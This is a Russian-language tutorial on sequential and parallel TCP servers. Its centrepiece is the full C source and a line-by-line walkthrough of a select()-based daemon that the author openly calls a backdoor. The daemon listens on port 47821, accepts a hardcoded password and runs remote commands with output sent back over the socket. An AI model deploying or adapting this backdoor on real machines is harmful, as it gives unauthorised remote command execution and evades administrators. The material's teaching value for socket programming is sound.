Перед тем, как описывать нижеприведенную программу, несколько слов о серверах вообще. Назовем сеансом промежуток времени, в течение которого существует соединение между клиентом и сервером. В зависимости от длительности сеанса (времени существования соединения) к серверу предъявляются существенно разные требования. Если он короткий (по человеческим меркам, например, меньше 10 секунд), то сервер допустимо написать таким образом, чтобы в каждый момент времени существовало только одно соединение с каким-то клиентом. Такой сервер будем называть ПОСЛЕДОВАТЕЛЬНЫМ сервером, так как клиентов он обслуживает по-очереди, последовательно. Безусловно, при интенсивной загрузке такого рода сервера (много клиентов, пытающихся установить соединение), несмотря на малое время обслуживания, клиенты будут ожидать соединения в очереди и время этого ожидания будет, естественно больше, чем время обслуживания.
Если же природа сервера (оказываемой им услуги) такова, что требует значительного времени (минуты-часы-дни-...), то вероятность одновременного появления многих клиентов, понятное дело, возрастает и подход, при котором все клиенты обслуживаются по очереди (пока не закончен сеанс с одним клиентом, не может быть начат сеанс с другим клиентом) становится неразумным. Назовем ПАРАЛЛЕЛЬНЫМ сервером такой сервер, для которого в каждый момент времени может существовать более одного соединения с клиентами. Как это можно организовать, написано здесь.
Примерами услуг, для оказания которых можно использовать простые последовательные сервера, могут быть, например, выдача текущего времени, эхо-служба и подобные. Большинство же более или менее полезных услуг требует более или менее продолжительного сеанса, поэтому все сервера, их предоставляющие, как правило, являются паралелльными. В качестве примера можно упомянуть различного рода файловые сервера (HTTP, FTP), сервера, предоставляющие доступ к машине как к таковой (telnet, ssh) и прочие.
Ниже приведен исходный текст программы-сервера, представляющей собой нечто подобное telnet-серверу. Некоторые уже догадались, что по сути, такая программа, запущенная на каком-то узле в сети, есть не что иное, как backdoor. Понятное дело, для того, чтобы его запустить, Вы должны иметь полноценный доступ к этому узлу и работать он будет без принятия спец-мер до первой перезагрузки этого узла. Ну или до тех пор, пока администратор оного не обнаружит наличие этой дырочки, вернее, дырищи :-). Backdoor, естественно, сделан паралелльным. Мультиплексирование осуществляется на основе системного вызова select. По сравнению с другими способами использование select или poll, по моему скромному мнению, наиболее просто реализумо алгоритмически ( на пользовательском уровне, естественно; на исходный текст этих двух вызовов лучше не смотреть, можно заработать депрессию, бессоницу и вечное ощущение своей тупости :-) ). Кроме того, эти вызовы будут правильно работать на всех или почти всех юниксообразных ОС, в отличие, например, от механизма сигналов по стандарту POSIX - например, в ядрах 2.2 Linux обработчикам сигнала SIGIO упорно не передается номер файлового дескриптора (или у меня кривые ручки :-) ).
Важное замечание по поводу этого сервера: он не позволяет работать с ИНТЕРАКТИВНЫМИ программами, то есть с такими программами, которые в течение времени жизни (от запуска до завершения) требуют каких-то действий от пользователя, хотя бы для того, чтобы из нее выйти. Поэтому Вам не удастся использовать, скажем, программный интерпертатор типа sh; не получится также сменить пароль с помощью passwd. Кроме того, не будут работать программы, требующие полноценный терминал. Например, вы не сможете запустить pine. Некоторые не очень сообразительные программы (mc например) запускаются, но и только. Другие программы (less, man) будут вести себя не так, как при наличии терминала - например, не будет никакой прокрутки. Наконец, НЕИНТЕРАКТИВНЫЕ программы, хотя и работают как положено, но если они в некотором смысле долго не завершаются, то получают по голове дубинкой с надписью SIGKILL. В общем, в программе много всяких несовершенств, но реализация полноценного telnet-сервера совершенно не входила в мои планы :-); это всего лишь демонстрация использования tcp-сокетов, а также мультиплексирования ввода-вывода.
Специального клиента для этого сервера нет, я использовал telnet. Итак, вот исходный текст, после него следует описание работы программы.
1 #include <unistd.h> 2 #include <stdio.h> 3 #include <stdlib.h> 4 #include <errno.h> 5 #include <string.h> 6 #include <sys/types.h> 7 #include <netinet/in.h> 8 #include <sys/socket.h> 9 #include <arpa/inet.h> 10 #include <sys/types.h> 11 #include <sys/wait.h> 12 #include <sys/ioctl.h> 13 #include <sys/stat.h> 14 #include <fcntl.h> 15 #include <netdb.h> 16 #include <signal.h> 17 18 #define BACKDOOR_PORT 0xBACD 19 // :-))) it's BACk Door, isn't it? 20 // 47821 decimal 21 22 #define DEBUG 23 #undef DEBUG 24 25 pid_t pid; 26 27 void init_daemon(void); 28 void do_back_dooring(void); 29 int accept_client(int fd); 30 int do_the_job(int fd); 31 32 int main(int argc, char *argv[]) 33 { 34 #ifndef DEBUG 35 pid = fork(); 36 37 if ( pid < 0 ) { 38 perror("fork()"); 39 exit(1); 40 }; 41 42 if ( pid > 0 ) { // parent 43 printf("90|) 833 \\/\\/17|-| j00 ... \n"); 44 exit(0); 45 }; 46 #endif 47 // pid == 0, we are child, become a daemon 48 init_daemon(); 49 50 while (1) { 51 do_back_dooring(); 52 }; 53 } 54 55 int back_door; 56 struct sockaddr_in back_door_side; 57 fd_set main_set; 58 int max_fd; 59 60 void init_daemon(void) 61 { 62 63 int ret; 64 65 back_door = socket(PF_INET, SOCK_STREAM, 0); 66 if ( back_door == -1 ) { 67 perror("socket()"); 68 exit(1); 69 }; 70 71 back_door_side.sin_family = AF_INET; 72 back_door_side.sin_port = htons(BACKDOOR_PORT); 73 back_door_side.sin_addr.s_addr = INADDR_ANY; 74 75 memset( &(back_door_side.sin_zero), 76 0, 77 sizeof(back_door_side.sin_zero) 78 ); 79 80 ret = bind( back_door, 81 (struct sockaddr*)&back_door_side, 82 sizeof(struct sockaddr) 83 ); 84 85 if ( ret == -1 ) { 86 perror("bind()"); 87 exit(1); 88 }; 89 90 ret = listen(back_door, 10); 91 if ( ret == -1 ) { 92 perror("listen()"); 93 exit(1); 94 }; 95 96 #ifndef DEBUG 97 // be daemon 98 close(STDIN_FILENO); 99 close(STDOUT_FILENO); 100 close(STDERR_FILENO); 101 setsid(); 102 #endif 103 104 FD_ZERO(&main_set); 105 FD_SET(back_door, &main_set); 106 max_fd = back_door; 107 } 108 109 fd_set temp_set; 110 char *prompt = "::B@(|<|)00R::> "; 111 112 void do_back_dooring(void) 113 { 114 int ret; 115 int fd; 116 117 memcpy(&temp_set, &main_set, sizeof(fd_set)); 118 119 ret = select(max_fd+1, &temp_set, NULL, NULL, NULL); 120 if ( ret < 0 ) { 121 FD_ZERO(&temp_set); 122 return; 123 }; 124 125 for (fd = 0; fd <= max_fd; fd++) { 126 if ( FD_ISSET(fd, &temp_set) ) { 127 if ( fd == back_door) { // new client 128 accept_client(fd); 129 } else { 130 if (!do_the_job(fd)) { 131 FD_CLR(fd, &main_set); 132 close(fd); 133 }; 134 write(fd, prompt, strlen(prompt)); 135 }; 136 }; 137 }; 138 } 139 140 char *hi = "j00 4R3 \\/\\/3l(0|v|3 ... )\n"; 141 #define BUFS 1024 142 char buf[BUFS]; 143 144 145 int accept_client(int back_door) 146 { 147 int ret; 148 struct sockaddr_in visiter; 149 int addr_size = sizeof(struct sockaddr_in); 150 151 ret = accept( back_door, 152 (struct sockaddr *)&visiter, 153 &addr_size 154 ); 155 156 if (ret == -1) 157 return 0; 158 159 write(ret, hi, strlen(hi)); 160 write(ret, prompt, strlen(prompt)); 161 162 memset(buf, 0, BUFS); 163 if ( read(ret, buf, BUFS) == -1 ) return 0; 164 165 if ( !strncmp(buf, "SECRET_WORD", 11)) { 166 memset(buf, 0, BUFS); 167 if (ret > max_fd) 168 max_fd = ret; 169 FD_SET(ret, &main_set); 170 write(ret, prompt, strlen(prompt)); 171 } else 172 close(ret); 173 174 return 0; 175 } 176 177 178 char * bye = "8y3, 533 j00!\n"; 179 180 void sig_chld_handler(int sign) 181 { 182 return; 183 } 184 185 char *prog = buf; 186 char *args[13]; 187 188 int do_the_job(int fd) 189 { 190 int ret; 191 pid_t pid; 192 int child_status; 193 char *tok; 194 int argn; 195 196 memset(buf, 0, BUFS); 197 ret = read(fd, buf, BUFS); 198 if ( ret == -1 ) 199 return 0; 200 201 if ( !strncmp(buf, "STOP", 4)) { 202 write(fd, bye, strlen(bye)); 203 return 0; 204 }; 205 206 if ( !strncmp(buf, "$+0p", 4)) { 207 write(fd, bye, strlen(bye)); 208 return 0; 209 }; 210 211 buf[strlen(buf)-2] = 0; 212 if (!strlen(buf)) { 213 return 1; 214 }; 215 216 tok = strtok(buf, " "); 217 argn = 0; 218 while ( (tok) && (argn < (13-1) ) ) { 219 args[argn] = tok; 220 argn++; 221 tok = strtok(NULL, " "); 222 }; 223 args[argn] = NULL; 224 225 if ( !strncmp(args[0], "cd", 2) ) { 226 chdir(args[1]); 227 if ( !args[1] ) 228 chdir("/usr/users/kotletkins/"); 229 return 1; 230 }; 231 232 pid = fork(); 233 234 switch (pid) { 235 236 case 0: // child, exec command 237 dup2(fd, STDIN_FILENO); 238 dup2(fd, STDOUT_FILENO); 239 dup2(fd, STDERR_FILENO); 240 ret = execvp(prog, args); 241 if (ret == -1) { 242 printf("%s: %s\n", prog, strerror(errno)); 243 exit(1); 244 } 245 break; 246 247 case -1: 248 return 0; 249 break; 250 251 default: // parent, wait the child 252 signal(SIGCHLD, sig_chld_handler); 253 ret = sleep(5); 254 if ( ret == 0 ) // child did not exit yet, kill it 255 kill(pid, SIGKILL); 256 signal(SIGCHLD, SIG_IGN); 257 258 waitpid(pid, &child_status, 0); 259 }; 260 261 return 1; 262 }
Первые 16 строчек - подключение заголовочных файлов. В строчке 18 содержится макроопределение для номера порта, на котором будет "висеть" backdoor. В строчках 27-30 объявлены 4 функции. Помимо них, в программе есть еще 2 функции - сама собой разумеющаяся main и "обработчик" сигнала SIGCHLD. Строчки 32-53 - main. Выполняет следующие действия: порождает дочерний процесс, который производит подготовку к работе, вызывая init_daemon() и затем в бесконечном цикле вызывает do_back_dooring(). Родительский процесс просто завершается. Строчки 60-107, функция init_daemon(): создается tcp-сокет, привязывается к упомянутому порту, переводится в режим прослушивания; затем сервер переходит в фоновый режим, закрывая файловые дескрипторы 0, 1 и 2 и создавая новую сессию; строчка 104 - очистить набор дескрипторов main_set (этот набор используется для хранения всех имеющихся дескрипторов); строчка 105 - в набор добавляется "главный" сокет, то есть сокет, переведенный в режим прослушивания; в следующей строчке запоминается, что пока самый "большой" дескриптор - это "главный" сокет.
После инициализации демон в бесконечном цикле вызывает функцию do_back_dooring() (строки 112-138). В ней производятся следующие действия: набор дескрипторов main_set копируется в набор temp_set (это необходимо, поскольку select удаляет из набора дескрипторы, не готовые к операции ввода-вывода); вызывается select, далее в цикле проверяем, какие из дескрипторов готовы к операции ЧТЕНИЯ; при этом отдельно проверяется "главный" (слушающий) сокет - если он готов к операции чтения, это означает, что имеется клиент, желающий установить соединение; если среди готовых оказался "главный" сокет, то вызывается функция accept_client(), для всех прочих сокетов вызывается do_the_job(); если при вызове последней произошла ошибка, то соответсвующий дескриптор удаляется из набора main_set и закрывается, тем самым соединение с данным клиентом со стороны сервера завершается. Если команда выполнилась нормально, выводится подсказка (это несколько необычно, обычно подсказку выводит программа-клиент, но клиента специального нет, использовался telnet, который, ясна консоль, ничего не выводит кроме того, что присылает ему сервер).
Рассмотрим теперь функцию accept_client(). В ней сначала принимается соединение от клиента, затем ему высылается приветствие и подсказка. Затем очищается входной буфер и в него принимается то, что прислал клиент. От клиента сразу же после установления соединения требуется прислать слово "SECRET_WORD". Если прислано что-то другое, соединение с этим клиентом разрывается. Таким образом, воспользоваться этим backdoor может только тот, кто знает, что после приветствия сервера первым делом нужно ввести обозначенный пароль. Если "face-control" прошел успешно, новый дескриптор добавляется в набор main_set, если нужно, перезапоминается самый "большой" дескриптор и опять выводится подсказка.
Функция do_the_job()(строки 188-262) - это функция, которая, собственно, и исполняет команды, приходящие от клиента. Делает она это следующим образом. В предварительно очищенный нулями буфер принимается команда. Затем демон пытается понять, что именно от него хотят. Если первые 4 символа - "STOP", то это сигнал завершить сеанс, возвращаемся с кодом 0. Вообще, эта функция возвращает 0, если нужно завершить сеанс и 1, если не нужно. А само завершение (если нужно) делается в do_back_dooring() по возвращении do_the_job(). Если строка пустая (просто жмакали Enter в клиенте), тоже возвращаемся с кодом 1 (не надо завершать сеанс). В строках 216-223 присланное клиентом разбирается на кусочки, разделителем считается пробел. Таким образом формируется массив для передачи функции execve(). Строки 225-230 - реализация команды cd (программы с таким именем нет, это внутренняя команда оболочек). После выполнения возвращаемся с кодом 1. Если же заканчивать сеанс не нужно, не cd, ошибок не произошло, то тогда пытаемся выполнить требуемую команду. Понятное дело, это нужно делать в отдельном процессе. Посему - fork(), дочерний процесс запускает на исполнение ту или иную программу, а родительский просто ждет его. Есть пара тонкостей. Дочерний процесс перед тем, как запустить программу на исполнение, дублирует файловые дескрипторы таким образом, что после этого все три стандартных дескриптора для нее - это сокет, по которому демон обменивается данными с клиентом. Это означает, что все данные, которые запущенная программа выдает на стандартное устройство вывода, попадут прямиком в сокет, то есть к клиенту. Вторая тонкость касается родительского процесса, а именно того, как он ожидает завершения работы потомка. Как уже говорилось выше, данный сервер не дает запущенным из него процессам работать дольше некоторого периода времени. Это делается следующим образом (см строки 251-258). Перед тем, как непосредственно вызвать wait()/waitpid(), устанавливается обработчик сигнала SIGCHLD (завершение потомка). Сам обработчик НИКАКИХ действий не выполняет, он нужен только для того, чтобы указать его имя при обращении к системному вызову signal(). Дело в том, что реакция на этот сигнал по-умолчанию состоит в том, что он игнорируется; мы же далее вызываем sleep(), которая возвращается тогда, когда истекло заданное время ИЛИ ПРИШЕЛ СИГНАЛ, который НЕ ИГНОРИРУЕТСЯ данным процесом. Если не установить обработчик, то sleep() не прервется сигналом SIGCHLD. Ежели мы установили обработчик, то после возврата из sleep() возможны две ситуации: получен сигнал (программа полагает, что это SIGCHLD, однако, это совсем не обязательно, в этом случае программа будет делать немножко не то, что задумано) и истекло заданное время. Эти 2 ситуации различаются по коду возврата sleep(). Если она вернула 0, это означает, что указанное время истекло полностью, то есть за это время сигнал SIGCHLD не пришел, то есть потомок еще не завершился. В этом случае без особых церемоний этот заработавшийся потомок получает SIGKILL, что приводит к его завершению. После этого с помощью signal() SIGCHLD игнорируется и вызывается waitpid(). Последнее обязательно, дабы не плодить зомби.
Дата последней модификации: 2012-03-30